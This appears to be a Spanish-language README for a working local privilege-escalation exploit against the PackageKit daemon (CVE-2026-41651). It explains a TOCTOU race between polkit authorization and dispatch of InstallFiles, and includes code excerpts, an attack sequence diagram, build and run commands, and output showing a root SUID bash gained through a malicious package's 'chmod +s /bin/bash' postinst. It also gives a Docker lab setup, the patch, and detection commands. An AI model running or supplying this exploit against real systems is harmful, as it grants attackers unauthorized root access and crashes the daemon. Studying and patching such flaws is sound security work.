
Explota una condición de carrera TOCTOU en el manejador de transacciones de PackageKit para instalar paquetes arbitrarios como root, logrando una escalada de privilegios local y una shell SUID sin autenticación.
Carrera TOCTOU en el manejador de transacciones de PackageKit. Cualquier usuario local sin privilegios puede instalar paquetes arbitrarios como root sin autenticación.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-41651 |
| Componente | Demonio de PackageKit (packagekitd) |
| Versiones afectadas | 1.0.2 – 1.3.4 |
| Corregido en | 1.3.5 |
| Impacto | Escalada local de privilegios → root |
| Autenticación requerida | Ninguna |
| Interacción del usuario | Ninguna |
| Probado en | Ubuntu 24.04, Debian 12 |

Tres errores en src/pk-transaction.c se encadenan para crear una ventana TOCTOU entre la autorización y la ejecución.
InstallFiles() sobrescribe incondicionalmente cached_transaction_flags y cached_full_paths sin comprobar el estado:
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
pk_transaction_set_state() descarta silenciosamente las transiciones hacia atrás. Los flags ya están sobrescritos, pero el estado permanece igual:
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
pk_transaction_run() lee los flags cacheados en el momento del despacho (desde el idle de GLib), no en el momento de la autorización:
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
Establecer PK_TRANSACTION_FLAG_SIMULATE (bit 2, valor 0x4) omite por completo la comprobación de polkit:
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
Ambas llamadas a InstallFiles se envían como llamadas D-Bus asíncronas de tipo fire-and-forget antes de que el bucle principal del cliente itere. Esto garantiza que ambos mensajes lleguen al socket del servidor antes de que el idle de GLib pueda dispararse: no hay carrera que ganar.
polkitd acaba devolviendo NOT_AUTHORIZED para la segunda llamada, pero para entonces APT ya ha despachado la instalación. El error es esperado e inofensivo.
sudo apt install libglib2.0-dev
make
No hay otras dependencias — los paquetes .deb se construyen en C puro en tiempo de ejecución.
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — todas las comprobaciones de privilegios en el kernel usan el UID efectivo.
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
La imagen compila PackageKit 1.3.4 desde el código fuente (commit 2149735, última versión vulnerable), inicia dbus + polkitd + packagekitd y luego ejecuta el exploit como usuario sin privilegios.
Nota sobre el g_assert: la imagen de Docker elimina mediante un parche una salvaguarda g_assert (!transaction->emitted_finished) en pk-transaction.c. En un sistema real sin parchear, este assert se dispara cuando el hilo de APT intenta emitir Finished después de que polkitd ya lo haya hecho, provocando un cierre del demonio vía SIGABRT. El bash SUID ya está en el disco en ese momento, por lo que la escalada de privilegios tiene éxito; el cierre es un DoS como efecto secundario. packagekitd se reinicia en la siguiente activación de D-Bus.
En PackageKit ≥ 1.3.5, la segunda llamada es rechazada:
[-] Target is PATCHED (PackageKit >= 1.3.5)
La corrección añade una comprobación de estado en pk_transaction_method_call():
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'